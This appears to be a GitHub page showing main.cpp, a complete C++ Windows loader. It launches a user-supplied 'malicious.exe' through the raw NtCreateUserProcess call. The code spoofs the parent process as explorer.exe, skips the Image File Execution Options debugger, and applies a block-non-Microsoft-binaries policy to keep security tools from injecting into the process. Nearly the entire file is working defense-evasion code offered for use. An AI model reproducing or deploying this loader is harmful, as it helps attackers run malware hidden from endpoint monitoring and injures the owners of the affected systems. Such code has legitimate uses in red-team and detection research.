-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
98 lines (82 loc) · 4.04 KB
/
Copy pathmain.cpp
File metadata and controls
98 lines (82 loc) · 4.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <cstdio>
#include <Windows.h>
#include "imports.h"
int main(int argc, char* argv[])
{
// Check if the user provided the path
if (argc < 2) {
printf("Usage: %s <path_to_malicious.exe>\n", argv[0]);
return 1;
}
// Path to the image file from which the process will be created
UNICODE_STRING NtImagePath, Params, ImagePath;
// Convert the command line argument to a wide string
size_t argSize = strlen(argv[1]) + 1;
wchar_t* widePath = (wchar_t*)malloc(argSize * sizeof(wchar_t));
mbstowcs(widePath, argv[1], argSize);
// Prepare the full image path and the NtImagePath
wchar_t fullPath[MAX_PATH];
swprintf(fullPath, MAX_PATH, L"\\??\\%ls", widePath);
// Initialize the Unicode strings
RtlInitUnicodeString(&ImagePath, widePath);
RtlInitUnicodeString(&NtImagePath, fullPath);
RtlInitUnicodeString(&Params, (PWSTR)L"\"C:\\WINDOWS\\SYSTEM32\\cmd.exe\"");
// Create the process parameters
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, &Params, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
// Initialize the PS_CREATE_INFO structure
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
//Skip Image File Execution Options debugger
CreateInfo.InitState.u1.InitFlags = PsSkipIFEODebugger;
OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES)};
PPS_STD_HANDLE_INFO stdHandleInfo = (PPS_STD_HANDLE_INFO)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_STD_HANDLE_INFO));
PCLIENT_ID clientId = (PCLIENT_ID)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
PSECTION_IMAGE_INFORMATION SecImgInfo = (PSECTION_IMAGE_INFORMATION)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(SECTION_IMAGE_INFORMATION));
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE_LIST));
// Create necessary attributes
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_CLIENT_ID;
AttributeList->Attributes[0].Size = sizeof(CLIENT_ID);
AttributeList->Attributes[0].ValuePtr = clientId;
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_IMAGE_INFO;
AttributeList->Attributes[1].Size = sizeof(SECTION_IMAGE_INFORMATION);
AttributeList->Attributes[1].ValuePtr = SecImgInfo;
AttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[2].Size = NtImagePath.Length;
AttributeList->Attributes[2].ValuePtr = NtImagePath.Buffer;
AttributeList->Attributes[3].Attribute = PS_ATTRIBUTE_STD_HANDLE_INFO;
AttributeList->Attributes[3].Size = sizeof(PS_STD_HANDLE_INFO);
AttributeList->Attributes[3].ValuePtr = stdHandleInfo;
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
// Add process mitigation attribute
AttributeList->Attributes[4].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS;
AttributeList->Attributes[4].Size = sizeof(DWORD64);
AttributeList->Attributes[4].ValuePtr = &policy;
// Spoof Parent Process Id as explorer.exe
DWORD trayPID;
HWND trayWnd = FindWindowW(L"Shell_TrayWnd", NULL);
GetWindowThreadProcessId(trayWnd, &trayPID);
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, false, trayPID);
if (hParent)
{
AttributeList->Attributes[5].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[5].Size = sizeof(HANDLE);
AttributeList->Attributes[5].ValuePtr = hParent;
}
else
{
AttributeList->TotalLength -= sizeof(PS_ATTRIBUTE);
}
// Create the process
HANDLE hProcess = NULL, hThread = NULL;
NtCreateUserProcess(&hProcess, &hThread, MAXIMUM_ALLOWED, MAXIMUM_ALLOWED, &objAttr, &objAttr, 0, 0, ProcessParameters, &CreateInfo, AttributeList);
// Clean up
if(hParent) CloseHandle(hParent);
RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlFreeHeap(RtlProcessHeap(), 0, stdHandleInfo);
RtlFreeHeap(RtlProcessHeap(), 0, clientId);
RtlFreeHeap(RtlProcessHeap(), 0, SecImgInfo);
RtlDestroyProcessParameters(ProcessParameters);
}